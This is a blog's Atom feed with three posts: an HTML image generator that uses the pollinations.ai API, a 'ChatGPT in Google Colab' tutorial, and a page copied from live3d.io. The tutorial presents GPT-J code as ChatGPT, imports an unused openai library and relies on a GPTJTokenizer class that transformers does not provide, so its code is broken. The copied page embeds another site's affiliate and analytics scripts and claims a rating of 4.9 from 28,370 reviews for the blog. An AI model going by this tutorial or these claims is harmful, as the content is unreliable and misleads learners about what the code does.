<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8568547122643448686</id><updated>2025-12-10T11:18:19.232-08:00</updated><title type='text'>Python 4 Fun</title><subtitle type='html'>Its all about PYTHON &#xa;&#xa;(Data Science with some fun version.2.1.0)</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>82</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2026338708642668677</id><published>2024-06-28T01:03:00.000-07:00</published><updated>2024-06-28T01:03:47.166-07:00</updated><title type='text'>Generate Free image on Pysnakeblog.blogspot.com</title><content type='html'>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Image Generator&lt;/title&gt;
    &lt;style&gt;
        #downloadBtn {
            display: none; /* Hide the download button initially */
            padding: 10px 20px;
            font-size: 16px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        #downloadBtn:hover {
            background-color: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Image Generator&lt;/h1&gt;
    &lt;div&gt;
        &lt;label for=&quot;prompt&quot;&gt;Enter prompt:&lt;/label&gt;
        &lt;input type=&quot;text&quot; id=&quot;prompt&quot; name=&quot;prompt&quot; required style=&quot;background-color: lightyellow; color: black; padding: 5px; border: 1px solid #ccc; border-radius: 4px;&quot;&gt;
    &lt;/div&gt;
    &lt;div&gt;
        &lt;label for=&quot;seed&quot;&gt;Enter seed (digits only):&lt;/label&gt;
        &lt;input type=&quot;text&quot; id=&quot;seed&quot; name=&quot;seed&quot; required style=&quot;background-color: lightyellow; color: black; padding: 5px; border: 1px solid #ccc; border-radius: 4px;&quot; oninput=&quot;validateSeedInput(this)&quot;&gt;
        &lt;button onclick=&quot;generateRandomSeed()&quot;&gt;Generate Random Seed&lt;/button&gt;
        &lt;/br&gt;&lt;i&gt;(*Any random numbers try 8532135765 or more. No limits)&lt;/i&gt;
    &lt;/div&gt;
    &lt;div&gt;
        &lt;label&gt;Select aspect ratio:&lt;/label&gt;
        &lt;div&gt;
            &lt;input type=&quot;radio&quot; id=&quot;mobile&quot; name=&quot;aspect&quot; value=&quot;1080x1920&quot; checked&gt;
            &lt;label for=&quot;mobile&quot;&gt;Mobile Portrait (1080x1920)&lt;/label&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;input type=&quot;radio&quot; id=&quot;instagram&quot; name=&quot;aspect&quot; value=&quot;1024x1024&quot;&gt;
            &lt;label for=&quot;instagram&quot;&gt;Instagram Square (1024x1024)&lt;/label&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;input type=&quot;radio&quot; id=&quot;youtube&quot; name=&quot;aspect&quot; value=&quot;1280x720&quot;&gt;
            &lt;label for=&quot;youtube&quot;&gt;YouTube Screen (1280x720)&lt;/label&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;button onclick=&quot;generateImage()&quot; style=&quot;background-color: orange; color: black; padding: 5px; border: 1px solid #ccc; border-radius: 4px;&quot;&gt;Generate Image&lt;/button&gt;
    &lt;div id=&quot;image-container&quot; style=&quot;margin-top: 20px;&quot;&gt;
        &lt;!-- Image will be displayed here --&gt;
    &lt;/div&gt;
    &lt;div id=&quot;download-url-container&quot; style=&quot;margin-top: 10px;&quot;&gt;
        &lt;div id=&quot;download-url&quot;&gt;&lt;/div&gt;
        &lt;button id=&quot;downloadBtn&quot;&gt;Download Image&lt;/button&gt;
    &lt;/div&gt;

    &lt;script&gt;
        function validateSeedInput(input) {
            // Remove non-numeric characters from the input value
            input.value = input.value.replace(/\D/g, &#39;&#39;);
        }

        function generateRandomSeed() {
            const length = Math.floor(Math.random() * 14) + 1;
            const randomSeed = Math.floor(Math.pow(10, length - 1) + Math.random() * (Math.pow(10, length) - Math.pow(10, length - 1) - 1));
            document.getElementById(&#39;seed&#39;).value = randomSeed;
        }

        async function generateImage() {
            const prompt = document.getElementById(&#39;prompt&#39;).value;
            const seed = document.getElementById(&#39;seed&#39;).value;
            const aspectRatio = document.querySelector(&#39;input[name=&quot;aspect&quot;]:checked&#39;).value;
            const [width, height] = aspectRatio.split(&#39;x&#39;);
            const encodedPrompt = encodeURIComponent(prompt);

            const imageUrl = `https://image.pollinations.ai/prompt/${encodedPrompt}?width=${width}&amp;height=${height}&amp;seed=${seed}&amp;nologo=true`;
            const downloadUrl = `https://image.pollinations.ai/prompt/${encodedPrompt}?width=${width}&amp;height=${height}&amp;seed=${seed}&amp;nologo=true&amp;format=jpg`;

            const imageContainer = document.getElementById(&#39;image-container&#39;);
            imageContainer.innerHTML = &#39;&#39;;

            const img = document.createElement(&#39;img&#39;);
            img.src = imageUrl;
            img.alt = &#39;Generated Image&#39;;
            img.style.maxWidth = &#39;100%&#39;;
            img.style.height = &#39;auto&#39;;

            // Wait for the image to load
            await new Promise((resolve) =&gt; {
                img.onload = resolve;
                img.onerror = () =&gt; alert(&#39;Failed to load image&#39;);
            });

            imageContainer.appendChild(img);

            // Show the download button after image is generated
            const downloadBtn = document.getElementById(&#39;downloadBtn&#39;);
            downloadBtn.style.display = &#39;inline-block&#39;; // Display the download button

            // Update the download button functionality
            downloadBtn.onclick = () =&gt; downloadImage(downloadUrl);
        }

        async function downloadImage(imageSrc) {
            try {
                const proxyUrl = &#39;https://cors-anywhere.herokuapp.com/&#39;;
                const response = await fetch(proxyUrl + imageSrc);
                const imageBlob = await response.blob();
                const imageURL = URL.createObjectURL(imageBlob);

                const link = document.createElement(&#39;a&#39;);
                link.href = imageURL;
                link.download = &#39;generated_image.jpg&#39;;
                document.body.appendChild(link);
                link.click();
                document.body.removeChild(link);
                URL.revokeObjectURL(imageURL); // Clean up the object URL
            } catch (error) {
                console.error(&#39;Download failed:&#39;, error);
            }
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2026338708642668677/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2024/06/generate-free-image-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2026338708642668677'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2026338708642668677'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2024/06/generate-free-image-on.html' title='Generate Free image on Pysnakeblog.blogspot.com'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-1809868131169622844</id><published>2023-06-26T09:46:00.010-07:00</published><updated>2023-06-26T09:56:04.627-07:00</updated><title type='text'>Unlocking the Power of ChatGPT with Google Colab: A Step-by-Step Guide</title><content type='html'> &lt;h1&gt;Introduction:&lt;/h1&gt;
    &lt;p&gt;In the world of artificial intelligence and natural language processing, ChatGPT has emerged as a powerful language model developed by OpenAI. By combining the capabilities of ChatGPT with the collaborative nature of Google Colab, you can create interactive and engaging experiences. In this blog post, we will walk through a comprehensive tutorial on how to use Python and ChatGPT together in Google Colab. Let&#39;s dive in!&lt;/p&gt;

&lt;h2&gt;Setting up Google Colab:&lt;/h2&gt;
&lt;p&gt;Before we embark on our journey of integrating ChatGPT with Google Colab, let&#39;s ensure we have a solid foundation. Follow these steps to get started:&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;Go to &lt;a href=&quot;https://colab.research.google.com&quot; target=&quot;_blank&quot;&gt;colab.research.google.com&lt;/a&gt; and create a new notebook.&lt;/li&gt;
    &lt;li&gt;Choose a Python runtime environment for your notebook.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Installing the Required Libraries:&lt;/h2&gt;
&lt;p&gt;To utilize ChatGPT, we need to install the necessary libraries. Execute the following code snippets in separate code cells:&lt;/p&gt;


&lt;!--HTML generated using hilite.me--&gt;
&lt;div style=&quot;background: rgb(39, 40, 34); border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;openai&lt;/span&gt;
&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pip&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;transformers&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Importing Libraries and Authenticating OpenAI API:&lt;/h2&gt;
&lt;p&gt;To leverage ChatGPT&#39;s capabilities, we need to import the required libraries and authenticate with the OpenAI API. Insert the following code snippets into separate code cells:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;
&lt;div style=&quot;background: rgb(39, 40, 34); border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;openai&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;transformers&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;GPTJForCausalLM,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;GPTJTokenizer&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
  
&lt;h2&gt;Initializing the ChatGPT Model:&lt;/h2&gt;
&lt;p&gt;Next, we need to initialize the ChatGPT model and tokenizer. Add the following code to a new code cell:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34); border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;model&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;GPTJForCausalLM&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;from_pretrained(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;EleutherAI/gpt-j-6B&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;tokenizer&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;GPTJTokenizer&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;from_pretrained(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;EleutherAI/gpt-j-6B&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
  

&lt;h2&gt;Creating a Conversation Loop:&lt;/h2&gt;
&lt;p&gt;To engage in interactive conversations with ChatGPT, we&#39;ll set up a conversation loop. Define a function with the following code:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34); border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;chat_with_gpt&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(prompt):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;conversation_history&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;True:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;user_input&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;input(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;User: &#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;conversation_history&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;User: &#39;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;user_input)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;input_text&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(conversation_history)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;input_ids&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tokenizer&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(input_text,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;return_tensors&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;pt&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;output&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;model&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;generate(input_ids,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;max_length&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;pad_token_id&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;tokenizer&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eos_token_id)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;response&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tokenizer&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;decode(output[:,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;input_ids&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;shape[&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;]:][&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;],&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;skip_special_tokens&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;True)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;conversation_history&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;GPT: &#39;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;response)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;GPT:&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;response)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Initiating a Conversation:&lt;/h2&gt;
&lt;p&gt;Now that we have our conversation loop defined, we can begin a chat with ChatGPT. Create a new code cell and call the function:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34); border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;chat_with_gpt(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;Hello, how can I assist you today?&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Conclusion:&lt;/h2&gt;
&lt;p&gt;Congratulations! You have successfully learned how to integrate Python with ChatGPT using Google Colab. By following this step-by-step guide, you can now leverage the power of ChatGPT to create engaging and interactive experiences. Experiment with different prompts and scenarios to explore the capabilities of ChatGPT further. Happy coding!&lt;/p&gt;
&lt;p&gt;Remember, the possibilities with ChatGPT are vast, and Google Colab provides an excellent environment for experimentation. Continue to explore and innovate to unlock the full potential of AI-powered conversations.&lt;/p&gt;
&lt;p&gt;Make sure to bookmark this page for future reference and share it with others interested in using ChatGPT with Google Colab. Stay ahead in the world of AI!&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/1809868131169622844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2023/06/unlocking-power-of-chatgpt-with-google.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/1809868131169622844'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/1809868131169622844'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2023/06/unlocking-power-of-chatgpt-with-google.html' title='Unlocking the Power of ChatGPT with Google Colab: A Step-by-Step Guide'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2951062106128394700</id><published>2023-06-22T09:18:00.057-07:00</published><updated>2023-06-24T03:45:00.052-07:00</updated><title type='text'>Free AI Generator Online (No need to login, No need to pay, No need to install anything): Unveiling the Unlikely Journey of AI</title><content type='html'>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;script src=&quot;https://code.jquery.com/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;
  &lt;style&gt;
    #component-1 {
      display: none;
    }
  &lt;/style&gt;
  

  
  
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&gt;
    &lt;link rel=&quot;canonical&quot; href=&quot;https://live3d.io/ai_anime_art_generator&quot;&gt;
            &lt;!-- quora pixel基础像素埋点 --&gt;
    
    
            &lt;!--script async=&quot;&quot; src=&quot;https://zbase-global.zingfront.com/static/js/popup_tracking.js?v=1687596679868&quot;&gt;&lt;/script--&gt;
  
&lt;script src=&quot;https://hm.baidu.com/hm.js?abc&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;https://cdn.firstpromoter.com/fprom.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot;&gt;
            var siteAddress = &quot;live3d.io&quot;;
            var domain = siteAddress.trim()
                .replace(&#39;http://&#39;, &#39;&#39;)
                .replace(&#39;https://&#39;, &#39;&#39;)
            if (domain.startsWith(&#39;www.&#39;)) {
                domain = domain.substring(4);
            }
            domain = domain.split(&#39;/&#39;)[0];
            domain = &#39;.&#39; + domain;
            var affCode = &quot;za4ala6j&quot;;
            (
                function(){
                    var t=document.createElement(&quot;script&quot;);
                    t.type=&quot;text/javascript&quot;,
                    t.async=!0,
                    t.src=&#39;https://cdn.firstpromoter.com/fprom.js&#39;,
                    t.onload=t.onreadystatechange=function(){
                        var t=this.readyState;
                        if(!t||&quot;complete&quot;==t||&quot;loaded&quot;==t)
                            try
                            {
                                $FPROM.init(affCode,domain)
                            }catch(t) {}
                    };
                    var e=document.getElementsByTagName(&quot;script&quot;)[0];
                    e.parentNode.insertBefore(t,e)
                })();
        &lt;/script&gt;
    
    &lt;script type=&quot;application/ld+json&quot;&gt;
    {
        &quot;@context&quot;: &quot;https://schema.org&quot;,
        &quot;@type&quot;: &quot;SoftwareApplication&quot;,
        &quot;name&quot;: &quot;Free Anime AI Art Generator Online&quot;,
        &quot;description&quot;: &quot;Use pysnakeblog.blogspot.com free anime AI art generator to create AI anime art. Let your anime dream come true with this powerful AI tool.&quot;,
        &quot;operatingSystem&quot;: &quot;Windows 7+&quot;,
        &quot;applicationCategory&quot;: &quot;GameApplication&quot;,
        &quot;aggregateRating&quot;: {
            &quot;@type&quot;: &quot;AggregateRating&quot;,
            &quot;ratingValue&quot;: &quot;4.9&quot;,
            &quot;ratingCount&quot;: &quot;28370&quot;
        },
        &quot;offers&quot;: {
            &quot;@type&quot;: &quot;Offer&quot;,
            &quot;price&quot;: &quot;0&quot;,
            &quot;priceCurrency&quot;: &quot;USD&quot;
        }
    }
&lt;/script&gt;&lt;title&gt;Free Anime AI Art Generator Online&lt;/title&gt;&lt;meta property=&quot;og:url&quot; content=&quot;https://live3d.io/ai_anime_art_generator&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&gt;

&lt;script type=&quot;text/javascript&quot;&gt;
			window._wpemojiSettings = {&quot;baseUrl&quot;:&quot;https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/72x72\/&quot;,&quot;ext&quot;:&quot;.png&quot;,&quot;svgUrl&quot;:&quot;https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/svg\/&quot;,&quot;svgExt&quot;:&quot;.svg&quot;,&quot;source&quot;:{&quot;concatemoji&quot;:&quot;https:\/\/zbase-global.zingfront.com\/saasbox\/resources\/js\/wp-emoji-release.min_5.2.18_d41d8cd98f00b204e9800998ecf8427e.js&quot;}};
			!function(e,a,t){var n,r,o,i=a.createElement(&quot;canvas&quot;),p=i.getContext&amp;&amp;i.getContext(&quot;2d&quot;);function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement(&quot;script&quot;);t.src=e,t.defer=t.type=&quot;text/javascript&quot;,a.getElementsByTagName(&quot;head&quot;)[0].appendChild(t)}for(o=Array(&quot;flag&quot;,&quot;emoji&quot;),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r&lt;o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline=&quot;top&quot;,p.font=&quot;600 32px Arial&quot;,e){case&quot;flag&quot;:return s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])?!1:!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case&quot;emoji&quot;:return!s([55357,56424,55356,57342,8205,55358,56605,8205,55357,56424,55356,57340],[55357,56424,55356,57342,8203,55358,56605,8203,55357,56424,55356,57340])}return!1}(o[r]),t.supports.everything=t.supports.everything&amp;&amp;t.supports[o[r]],&quot;flag&quot;!==o[r]&amp;&amp;(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&amp;&amp;t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&amp;&amp;!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener(&quot;DOMContentLoaded&quot;,n,!1),e.addEventListener(&quot;load&quot;,n,!1)):(e.attachEvent(&quot;onload&quot;,n),a.attachEvent(&quot;onreadystatechange&quot;,function(){&quot;complete&quot;===a.readyState&amp;&amp;t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&amp;&amp;n.twemoji&amp;&amp;(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
		&lt;/script&gt;
&lt;style type=&quot;text/css&quot;&gt;
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
